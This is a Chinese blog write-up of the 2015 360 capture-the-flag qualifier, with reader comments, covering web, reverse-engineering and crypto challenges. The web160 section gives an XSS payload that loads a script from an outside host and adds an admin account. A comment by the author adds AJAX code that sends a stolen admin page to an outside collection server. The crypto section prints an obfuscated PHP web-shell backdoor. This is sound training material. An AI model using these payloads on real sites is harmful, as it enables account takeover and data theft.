2015 360初赛writeup

0×00 前言
上周360的比赛,也进入了决赛了,writeup也是因为考试一直拖着还没更新出来。

0×01 web
web10

首先保存那个图片,然后用winhex在尾部发现

Where is the key?{ZW1lbS4uLiAvY3RmXzM2MF9mbGFn}

然后base64_decode之后,为emem… /ctf_360_flag 后面群里提示苹果电脑,然后访问
mac下每个目录都有的文件.DS_Store
http://isg.campus.360.cn/web1/ctf_360_flag/.DS_Store
成功拿到flag

web20
首先拿到泄露的源码
http://isg.campus.360.cn/web2/check.php.swp

<?php
/***
此处为提示
$code=0000000000;
admin code 0
user code  1
test code 2
***/
len_check($_GET['code'],10)

if(!empty($_GET['email']) && !empty($_GET['code'])) 
{ 
    if(!$db->count('admin',"email='{$_GET['email']}' ANDcode='{$_GET['code']}'")) 
        die('error');
    $_SESSION['email']= $_GET['email']; 
        ..........
}
?>

然后找到了p神这篇文章
遇到一个有趣的逻辑漏洞


然后我们构造code为000000000x
code的长度要为十因为源码里面有len_check($_GET[‘code’],10),0是代表admin.然后成功拿到flag。
没发现这篇文章之前还写了个脚本在跑。就是先获取code,然后提交。跑了一下午然后并没有什么卵用。

web40
http://isg.campus.360.cn/web3/
这个题也是给了一个图片

看到文件的结尾

--.  ..  ..-.  ---..  ----.  .-  ;
<..--..  .--.  ....  .--.   $.-   = "-----  .-.-.-  .----  ";$-...   = $_--.  .  -  [.----.  -...  .----.  ];..  ..-.  ($-...   -.-.--  = .----.  .----.  ){    ..  ..-.   (..  ...  _.-  .-.  .-.  .-  -.--  ($-...  )){        .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";        .  -..-  ..  -  ;    }.  .-..  ...  .  ..  ..-.  (-.-.--  ..  ...  _-.  ..-  --  .  .-.  ..  -.-.  ($-...  )){       $-.-.   = (..  -.  -  )(($.-   + $-...  ) * .----  -----  );        ..  ..-.   ($-.-.   == "---..  " && $-...  [.----  -----  ] == ..-.  .-  .-..  ...  .  ){            .  -.-.  ....  ---   "..-.  .-..  .-  --.  ";        }.  .-..  ...  .  {            .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";            .  -..-  ..  -  ;        }    }.  .-..  ...  .  {        .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";    }}.  .-..  ...  .  {    .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";}..--..  >

可以看到是莫尔斯编码加上了php的一些语法,把莫尔斯编码还原之后就可以得到php代码

GIF89a;
<?php
    $a= "0.1";
    $b= $_GET['b'];
    if($b! = '' )
    {
        if(is_array  ($b))
        {
            echo "nokey!";
            exit;
        }
        else if(!is_numeric ($b ))
        {
            $c   = (int)(($a + $b  ) * 10 );
            if  ($c   == "8" && $b  [10 ] == false )
            {
                echo   "flag ";
            }
            else 
            {
                echo  "nokey ";
                exit  ;
            }
        }
        else {echo  "nokey ";}
    }
    else {echo  "no  ";}
?>

就是要想办法绕过 对is_array和is_numeric的检查,进入flag的分支里
首先是绕过is_array,可以传一个数字进去,但是数字的话又会过不了is_numeric
这里用到的一个trick是 0.7a,在数字之后加上a之类的,变成str的类型,但是经过(int)类型转换之后又会变成0.7
尝试传入b=0.7a,可以本地搭建起来调试,var_dump($c);把$c的结果打印出来发现是7
尝试传入b=0.8a,$c这个时候是9,这个是php的浮点数的精度的问题
传入b=0.75a就可以获得flag了
http://isg.campus.360.cn/web3/?b=0.75a

web160
这题其实是一个xss的题目,因为页面描述说管理员会记录你的一切操作。先打了一发cookie,然后修改cookie。发现直接跳到首页,并没有什么卵用。后面用ajax偷到了页面的源码。通过分析源码发现,有一个添加用户的地方。首先xss的payload

</textarea>’”><script src=http://t.cn/R2CvZvl></script>

然后我们构造一个ajax添加一个账号。

var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions);
} catch(e) {}
}
}
xmlhttp=request;

var url= "/web5/adduser";  
var params ='name=tomato&pass=tomatomemeda&submit=ok';
xmlhttp.open("POST", url, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "Keep-Alive");

xmlhttp.send(params)

然后提交

<script src=http://km2.in/360.js></script>
登陆之后成功拿到flag


0×02 re
re40
先查字符串,发现了一个人名和 Congratulations.跟进去看下可以找到核心判断.

前面一个call(call 0x45b330) 是处理输入字符串的奇偶位,生成一个新字符串.
后面一个call(call 0x47e2d0) 是与正确的的字符串比较.

在后面的动态分析中可以找到正确的字符串,然后处理下即可得到flag.
如下图,0012d050的字符串就是最后比较的.

a = '533168596d66594751343451'
b = '74524c71354b575937773d3d'
c = ''
for i in xrange(len(a)):
    c+=a[i]
    c+=b[i]
    i+=1
print c

flag:57343512648c579163d5646b5597457953173747334d531d

re80
这个题目的pdf下载下来360直接报毒,然后打开空白,以前在一个ctf也遇到过。就是找到受影响的adobe reader的版本,然后打开就行了。然后这次就有经验了。先用kali下面的peepdf跑了一发,然后发现是一个cve

然后谷歌cve编号,发现

8.1.2下的版本都受影响。然后在虚拟机里下载了一个adobe reader,然后运行就是直接弹flag了。

0×03 网络协议
网络协议20
下载完数据包之后,然后过滤http请求

然后丢到chrome的console解密



0×04 加解密
加解密10
BHUK,LP TGBNHGYT BHUK,LP UYGBN TGBNHGYT BHUK,LP BHUK,LP TGBNHGYT BHUK,LP TGBNHGYT UYGBN
这个题提示是个键盘有关系的,其实看看也能看出来BHU是连一起的 TGB也是连一起的
只是有一个分割的问题,一开始用,去分割就没有做出来,要用空格来分割,可以得到

BHUK,LP 
BHUK,LP 
TGBNHGYT 
BHUK,LP 
UYGBN 
TGBNHGYT 
BHUK,LP 
BHUK,LP 
TGBNHGYT 
BHUK,LP 
TGBNHGYT 
UYGBN

一共有3类

BHUK,LP
UYGBN
TGBNHGYT

我们尝试在键盘上把他们画出来,记得,也要占一个键位的

BHUK,LP   :N
UYGBN     :C
TGBNHGYT  : B

然后就是按照他的顺序输出flag了
NNBNCBNNBNBC

加解密20
给了一个shell文件,提示是后门的密码就是flag

<?php 
eval(gzinflate(base64_decode("pZLdSsNAEIXvBd+hTmOzMXTbFC3UGhtFEANWlLZES5OgvauoIFho2jy7s7PJhMSIF5Kbb2fPzs+Z7O8ZiYAmhLAFS9bQzhUQIboUPECKiUQDMSFMkYZIZt+U5nFkYijB0Kh0KfCcp+5wlh+6YaO2H9VFbW2BNK8U2iJJoiOk9Pek4q/ZBTwG481T4HeD3mC9vH79en67fb+fjScPM38aOMvL6erEn6xePm+uLj7u1i669I9qAucL4ZSDesQWC9WwHlGxkZRpwW9t1ikrDCRwAE87dtvm7EphlRQd3taC6AwpIjJ4A4XFkhcQ81uhbZcw6EN20a67mHPHxX8Qc+YQP7vyvxQJIHNBa9usUBMcck5d1kNqEVmZl9CDkmNNnsLIFV3IKnsVRT4OOCQJdRNq76Pzbw==")));
>

有这种解eval的特别方便的
使用evalhook方式解密php源代码

在kali下跑跑
php -d extension=evalhook.so shell.php

这个特殊的字符串就是flag了
p4n9_z1_zh3n9_j1u_Sh1_J13

加解密40

NTU2NJC3ODHHYWJIZ3P4ZWY=
其实这是一个变异的base64.我们挨个把字母的大小写跑一遍,然后提取可见字符。

然后第二个flag就是正确的。

0×05 系统
系统20
shellsock的exp打一发

15 条评论

  1. 夏殇 六月 17, 2015 9:51 上午  回复

    苹果牛的沙发都让我坐了。然而并没什么!@#$%^&*()

  2. watEr 六月 18, 2015 8:21 下午  回复

    来看大牛的博客喽

  3. 你的360的writeup解密第三题能看下python脚本的代码吗? 六月 22, 2015 10:09 下午  回复

    你的360的writeup解密第三题能看下python脚本的代码吗?

    • AppLeU0 六月 24, 2015 5:31 下午  回复

      我去找的官方的writeup http://bobao.360.cn/ctf/learning/138.html
      根据最后的等号判断应该是base64加密,但是直接解密有非可见字符,于是我们修改字符的大小写,使得最后输出为可见字符:
      __author__=”F4nt45i4-ZHG”"
      import base64
      s = ‘NTU2NJC3ODHHYWJIZ3P4ZWY=’
      def dfs(d, t):
      global s
      if d == len(s):
      print(base64.b64decode(t))
      else:
      dfs(d + 1, t + s[d])
      if ‘A’ <= s[d] <= ‘Z’:
      dfs(d + 1, t + chr(ord(s[d]) – ord(‘A’) + ord(‘a’)))
      dfs(0, ”)
      a = a + 1

      解码后应不包含不可打印字符,于是加个过滤:

      with open(‘out.txt’, ‘r’) as reader:
      for l in reader.readlines():
      if ‘\\x’ not in l:
      print(l)

      最终会有8个符合的字符串,提交后得到正确的flag:
      55667788aabbgzxef

      • sammy 八月 3, 2015 5:53 下午  回复

        大牛好,base64解密的那个脚本试过不行的呢,能不能提供一个可以使用的脚本,谢谢!

    • Mbah 八月 8, 2015 10:48 下午  回复

      It’s a plsaruee to find someone who can identify the issues so clearly

  4. hex 七月 2, 2015 12:46 上午  回复

    苹果牛哥,想问下“用ajax偷到了页面的源码”是怎么搞到的,不清楚。能方便说下吗?

    • AppLeU0 七月 2, 2015 10:07 下午  回复

      var pkav = {
      ajax: function () {
      var xmlHttp;
      try {
      xmlHttp = new XMLHttpRequest();
      } catch (e) {
      try {
      xmlHttp = new ActiveXObject(‘Msxml2.XMLHTTP’);
      } catch (e) {
      try {
      xmlHttp = new ActiveXObject(‘Microsoft.XMLHTTP’);
      } catch (e) {
      return false;
      }
      }
      }
      return xmlHttp;
      },
      req: function (url, data, method, callback) {
      method = (method || ”).toUpperCase();
      method = method || ‘GET’;
      data = data || ”;
      if (url) {
      var a = this.ajax();
      a.open(method, url, true);
      if (method == ‘POST’) {
      a.setRequestHeader(‘Content-type’, ‘application/x-www-form-urlencoded’);
      }
      a.onreadystatechange = function () {
      if (a.readyState == 4 && a.status == 200) {
      if (callback) {
      callback(a.responseText);
      }
      }
      };
      if ((typeof data) == ‘object’) {
      var arr = [
      ];
      for (var i in data) {
      arr.push(i + ‘=’ + encodeURIComponent(data[i]));
      }
      a.send(arr.join(‘&’));
      } else {
      a.send(data || null);
      }
      }
      },
      get: function (url, callback) {
      this.req(url, ”, ‘GET’, callback);
      },
      post: function (url, data, callback) {
      this.req(url, data, ‘POST’, callback);
      }
      };
      pkav.get(‘admin’,function(data){ pkav.post(‘http://xpss.sinaapp.com/index.php?do=api&id=1PW0dQ’,'code=’+encodeURIComponent(data), function (rs) {});});

  5. hulk 七月 11, 2015 11:24 上午  回复

    eb185e8136999999998b0e83c604fc4980340e9985c975f7
    eb09e8e3ffffff0499999971ab9999997c5ffedf361f1d9e
    367d5f5cff36be7cdf367edf3dbe5ffc363c1d7e367edf5e
    5cff5c3d1c365c3d36dc1f367cdf5f7ebe99c71875999899
    991275187499989999f399c019ad9732599d979ad81a60a8
    eb6bf3a9f399cff399719b99999972675edc99edf1f0ea5e
    dc9db9ffecf75edc91faedf0f65edc95f7b9f0ea5edc89b9
    d4fcea5edc8deaf8fefc5edc81dbf6e199125c66795b8999
    能看出这个是什么加密算法吗 大神

  6. hulkruo 七月 12, 2015 11:11 下午  回复

    eb185e8136999999998b0e83c604fc4980340e9985c975f7 eb09e8e3ffffff0499999971ab9999997c5ffedf361f1d9e
    367d5f5cff36be7cdf367edf3dbe5ffc363c1d7e367edf5e 5cff5c3d1c365c3d36dc1f367cdf5f7ebe99c71875999899
    991275187499989999f399c019ad9732599d979ad81a60a8 eb6bf3a9f399cff399719b99999972675edc99edf1f0ea5e
    dc9db9ffecf75edc91faedf0f65edc95f7b9f0ea5edc89b9 d4fcea5edc8deaf8fefc5edc81dbf6e199125c66795b8999
    说是这段密文里面隐藏了一句经典英文语句。完成没有思路,请问apple大神能帮忙参谋下木?谢谢

    • AppLeU0 七月 16, 2015 1:28 上午  回复

      看不出来耶 应该不是hash的 因为可以看到9999999连续的这种 字符范围是0-f 尝试过16进制的文件 没看出来是啥

    • AppLeU0 七月 19, 2015 10:19 下午  回复

      好 加上友链了

  7. Netfairy 八月 1, 2015 9:49 上午  回复

    博主麻烦把我友链名称改成 网络精灵。还有我们可能见过

hulkruo 进行回复 取消回复

*